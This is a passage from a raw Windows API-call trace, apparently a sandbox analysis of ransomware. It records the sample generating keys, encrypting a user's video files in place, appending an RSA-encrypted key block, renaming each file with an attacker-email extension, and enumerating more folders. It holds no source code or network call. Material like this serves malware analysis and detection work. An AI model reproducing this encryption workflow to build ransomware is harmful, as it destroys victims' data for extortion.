(in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdad8 | out: hHeap=0x570000) returned 1 [0156.431] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cda60 | out: hHeap=0x570000) returned 1 [0156.431] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6438 [0156.431] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccad0 [0156.431] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0156.431] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\xLetOkh7v.flv", dwFileAttributes=0x80) returned 1 [0156.431] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6640 [0156.431] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e678 [0156.431] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6640 | out: hHeap=0x570000) returned 1 [0156.431] CreateFileW (lpFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\xLetOkh7v.flv" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\xletokh7v.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e4 [0156.432] GetFileSizeEx (in: hFile=0x6e4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=64606) returned 1 [0156.432] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xfc5e) returned 0x6538b0 [0156.432] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xfc5e) returned 0x2e60f28 [0156.432] ReadFile (in: hFile=0x6e4, lpBuffer=0x6538b0, nNumberOfBytesToRead=0xfc5e, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0xfc5e, lpOverlapped=0x0) returned 1 [0156.433] SetFilePointer (in: hFile=0x6e4, lDistanceToMove=-64606, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.433] WriteFile (in: hFile=0x6e4, lpBuffer=0x2e60f28*, nNumberOfBytesToWrite=0xfc5e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e60f28*, lpNumberOfBytesWritten=0x2e3f9b4*=0xfc5e, lpOverlapped=0x0) returned 1 [0156.434] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0156.434] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e60f28 | out: hHeap=0x570000) returned 1 [0156.434] SetFilePointer (in: hFile=0x6e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xfc5e [0156.434] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.434] WriteFile (in: hFile=0x6e4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.434] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0156.434] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0156.435] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0156.435] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0156.435] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="srXW/nofT+0HaCQC0Zc/xJmEMEtG5CYDn4AvQqgEifrElNoUSrph+MvfzY7ode+Y\ny8WE/L2PPFWUXxQRkZODlJoXSTl0KcA0lbzqAcG3NVKCxNUSNna0xKbirvg6LUpb\nbBsl4db0lkoiCvP+jRMAs5mFTznYHjUjTYHTHmmwjDMZ21DxnPhMvIbJ0DUoZ/uY\nifi6D11u5vfiVkv1awo0WySS1uYT40dT+ng6C2c+FvdDqyoccfK52mOQlSHsC+NK\n5ql09cXYfFPIEpeZ4zeu+RQPV6uhemeB7dJALjYQqEAjE7bFmpYTvxUjuMzMSQT2\npwSUAfBWB3e3d6MACekMew==\n", pcchString=0x2e3f9a8) returned 1 [0156.435] WriteFile (in: hFile=0x6e4, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0156.435] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.435] WriteFile (in: hFile=0x6e4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.435] CloseHandle (hObject=0x6e4) returned 1 [0156.435] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0156.435] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\xLetOkh7v.flv" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\xletokh7v.flv"), lpNewFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\xLetOkh7v.flv.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\xletokh7v.flv.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0156.436] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e678 | out: hHeap=0x570000) returned 1 [0156.436] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccad0 | out: hHeap=0x570000) returned 1 [0156.436] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6438 | out: hHeap=0x570000) returned 1 [0156.436] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6710 | out: hHeap=0x570000) returned 1 [0156.436] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cda60 [0156.436] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc828 [0156.436] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0156.436] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\h qmV-L1GJRPpmE.mkv", dwFileAttributes=0x80) returned 1 [0156.437] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdad8 [0156.437] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e0b8 [0156.437] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdad8 | out: hHeap=0x570000) returned 1 [0156.437] CreateFileW (lpFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\h qmV-L1GJRPpmE.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\h qmv-l1gjrppme.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e4 [0156.437] GetFileSizeEx (in: hFile=0x6e4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=89724) returned 1 [0156.437] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x15e7c) returned 0x6538b0 [0156.437] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x15e7c) returned 0x2e60f28 [0156.437] ReadFile (in: hFile=0x6e4, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x15e7c, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x15e7c, lpOverlapped=0x0) returned 1 [0156.440] SetFilePointer (in: hFile=0x6e4, lDistanceToMove=-89724, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.440] WriteFile (in: hFile=0x6e4, lpBuffer=0x2e60f28*, nNumberOfBytesToWrite=0x15e7c, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e60f28*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e7c, lpOverlapped=0x0) returned 1 [0156.440] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0156.441] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e60f28 | out: hHeap=0x570000) returned 1 [0156.441] SetFilePointer (in: hFile=0x6e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x15e7c [0156.441] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.441] WriteFile (in: hFile=0x6e4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.441] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0156.441] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0156.442] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0156.442] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0156.442] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="RxzPvE6jyV5oWKRbQtjM8s6OEKhqPbFlN1cQ89N+WAo5TFN3NH2qHCCxDSZbT9+N\npj3AebZogbBpWkCUK406AeBLhU/hdl/H2VePKuP2b5s9u8rhM2aPPnoBmOwWOdvb\nEGXGFqBxC4ycIYvP4U5bg448IYBsoriyyrhsVT4v3GxVni06eEOYHSUh37KrN7DX\nKjlX0iDhJFbWgxVE/PPbj3SLU5UC429t4mnn/SLbhsL9zPJU5WvA+yeJr7dJSMZ1\n2YwHr3heEQew9VksK5Qos1gcmBtiFxrFv4tmMT/e8W3IHI5O0wPYmfM4qjoKRvPM\n1SkNVvLUeqQgRYm+Cp3xiw==\n", pcchString=0x2e3f9a8) returned 1 [0156.442] WriteFile (in: hFile=0x6e4, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0156.442] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.442] WriteFile (in: hFile=0x6e4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.442] CloseHandle (hObject=0x6e4) returned 1 [0156.442] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0156.442] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\h qmV-L1GJRPpmE.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\h qmv-l1gjrppme.mkv"), lpNewFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\h qmV-L1GJRPpmE.mkv.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\h qmv-l1gjrppme.mkv.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0156.444] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e0b8 | out: hHeap=0x570000) returned 1 [0156.444] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc828 | out: hHeap=0x570000) returned 1 [0156.444] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cda60 | out: hHeap=0x570000) returned 1 [0156.444] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cde98 | out: hHeap=0x570000) returned 1 [0156.444] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6918 [0156.444] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccad0 [0156.444] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0156.444] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\-Q5CQU3xjGpYs.flv", dwFileAttributes=0x80) returned 1 [0156.445] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6980 [0156.445] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e0b8 [0156.445] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6980 | out: hHeap=0x570000) returned 1 [0156.445] CreateFileW (lpFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\-Q5CQU3xjGpYs.flv" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\-q5cqu3xjgpys.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e4 [0156.445] GetFileSizeEx (in: hFile=0x6e4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=16635) returned 1 [0156.445] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40fb) returned 0x6538b0 [0156.445] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40fb) returned 0x6579b8 [0156.445] ReadFile (in: hFile=0x6e4, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x40fb, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x40fb, lpOverlapped=0x0) returned 1 [0156.446] SetFilePointer (in: hFile=0x6e4, lDistanceToMove=-16635, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.446] WriteFile (in: hFile=0x6e4, lpBuffer=0x6579b8*, nNumberOfBytesToWrite=0x40fb, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6579b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x40fb, lpOverlapped=0x0) returned 1 [0156.446] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0156.446] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6579b8 | out: hHeap=0x570000) returned 1 [0156.446] SetFilePointer (in: hFile=0x6e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x40fb [0156.446] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.446] WriteFile (in: hFile=0x6e4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.446] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0156.446] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0156.447] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0156.447] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0156.447] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="G1RL/9i245J714eCsUK81ODJHyaM3pCbSjmPUy/gXGPpUdVAAb8/f61Kyo4zKHGg\nd3zw9DEOgJpvPHfMMBIBL06uRSkh1MkHdoPDUUwWGL2ZLc1VHLzaknC3H8uzA5l3\nS6/tgYI+SBcfAlh+6oqKe03dEICUSNFjrxNrnGkGo5J8u3iYzm1tZ5lNY1f5LLdk\n7C67sfGJMeLYSZ4gMoNeCA/Fohyo3ITNpwC0DEfvKajIXI65pBs9OIMIaAvlgMT6\niCfUtdBDFqmAj/4D3EY4HQ6GYHV1+szekCJzye8IdjsgRhhYaZUIJ86QCLYTYLcC\n4QudtkZqAtNVnp3d6Iyldg==\n", pcchString=0x2e3f9a8) returned 1 [0156.447] WriteFile (in: hFile=0x6e4, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0156.447] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.447] WriteFile (in: hFile=0x6e4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.447] CloseHandle (hObject=0x6e4) returned 1 [0156.447] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0156.447] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\-Q5CQU3xjGpYs.flv" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\-q5cqu3xjgpys.flv"), lpNewFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\-Q5CQU3xjGpYs.flv.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\-q5cqu3xjgpys.flv.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0156.448] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e0b8 | out: hHeap=0x570000) returned 1 [0156.448] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccad0 | out: hHeap=0x570000) returned 1 [0156.448] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6918 | out: hHeap=0x570000) returned 1 [0156.448] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6778 | out: hHeap=0x570000) returned 1 [0156.449] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be738 [0156.449] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7408 | out: hHeap=0x570000) returned 1 [0156.449] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0156.449] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0156.449] FindFirstFileW (in: lpFileName="\\Users\\Public\\Documents\\My Music\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e582a40, ftCreationTime.dwHighDateTime=0x1d4c693, ftLastAccessTime.dwLowDateTime=0x6305c370, ftLastAccessTime.dwHighDateTime=0x1d4d0e4, ftLastWriteTime.dwLowDateTime=0x6305c370, ftLastWriteTime.dwHighDateTime=0x1d4d0e4, nFileSizeHigh=0x0, nFileSizeLow=0x9329, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="_vYI7VgRJ5MJC.mp4", cAlternateFileName="_VYI7V~1.MP4")) returned 0xffffffff [0156.449] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bedc0 [0156.449] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be738 | out: hHeap=0x570000) returned 1 [0156.449] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf028 | out: hHeap=0x570000) returned 1 [0156.449] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589978 | out: hHeap=0x570000) returned 1 [0156.449] FindFirstFileW (in: lpFileName="\\Users\\Public\\Documents\\My Pictures\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e582a40, ftCreationTime.dwHighDateTime=0x1d4c693, ftLastAccessTime.dwLowDateTime=0x6305c370, ftLastAccessTime.dwHighDateTime=0x1d4d0e4, ftLastWriteTime.dwLowDateTime=0x6305c370, ftLastWriteTime.dwHighDateTime=0x1d4d0e4, nFileSizeHigh=0x0, nFileSizeLow=0x9329, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="_vYI7VgRJ5MJC.mp4", cAlternateFileName="_VYI7V~1.MP4")) returned 0xffffffff [0156.449] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bf028 [0156.449] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0156.449] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be210 | out: hHeap=0x570000) returned 1 [0156.449] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589680 | out: hHeap=0x570000) returned 1 [0156.449] FindFirstFileW (in: lpFileName="\\Users\\Public\\Documents\\My Videos\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e582a40, ftCreationTime.dwHighDateTime=0x1d4c693, ftLastAccessTime.dwLowDateTime=0x6305c370, ftLastAccessTime.dwHighDateTime=0x1d4d0e4, ftLastWriteTime.dwLowDateTime=0x6305c370, ftLastWriteTime.dwHighDateTime=0x1d4d0e4, nFileSizeHigh=0x0, nFileSizeLow=0x9329, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="_vYI7VgRJ5MJC.mp4", cAlternateFileName="_VYI7V~1.MP4")) returned 0xffffffff [0156.449] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bec08 [0156.449] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf028 | out: hHeap=0x570000) returned 1 [0156.449] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed68 | out: hHeap=0x570000) returned 1 [0156.449] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589478 | out: hHeap=0x570000) returned 1 [0156.449] FindFirstFileW (in: lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea3c4d9e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5f6eb5, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1945e7d9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x631680 [0156.466] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b08 | out: hHeap=0x570000) returned 1 [0156.466] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77f8 [0156.466] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7278 [0156.466] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77f8 | out: hHeap=0x570000) returned 1 [0156.466] GetLastError () returned 0x5 [0156.466] SetLastError (dwErrCode=0x5) [0156.466] GetLastError () returned 0x5 [0156.466] SetLastError (dwErrCode=0x5) [0156.466] GetLastError () returned 0x5 [0156.466] SetLastError (dwErrCode=0x5) [0156.466] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0156.466] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bf028 [0156.466] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf028 | out: hHeap=0x570000) returned 1 [0156.467] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc8f0 [0156.467] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x6313c0 [0156.467] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6313c0 | out: hHeap=0x570000) returned 1 [0156.467] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e404e0 [0156.467] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e404e0 | out: hHeap=0x570000) returned 1 [0156.467] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc8f0 | out: hHeap=0x570000) returned 1 [0156.467] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0156.467] FindNextFileW (in: hFindFile=0x631680, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea3c4d9e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5f6eb5, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1945e7d9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0156.468] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7278 | out: hHeap=0x570000) returned 1 [0156.468] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72a0 [0156.468] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6fd0 [0156.468] SetLastError (dwErrCode=0x5) [0156.468] GetLastError () returned 0x5 [0156.468] SetLastError (dwErrCode=0x5) [0156.468] GetLastError () returned 0x5 [0156.468] SetLastError (dwErrCode=0x5) [0156.468] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0156.468] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bedc0 [0156.468] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccad0 [0156.468] RtlAllocateHeap 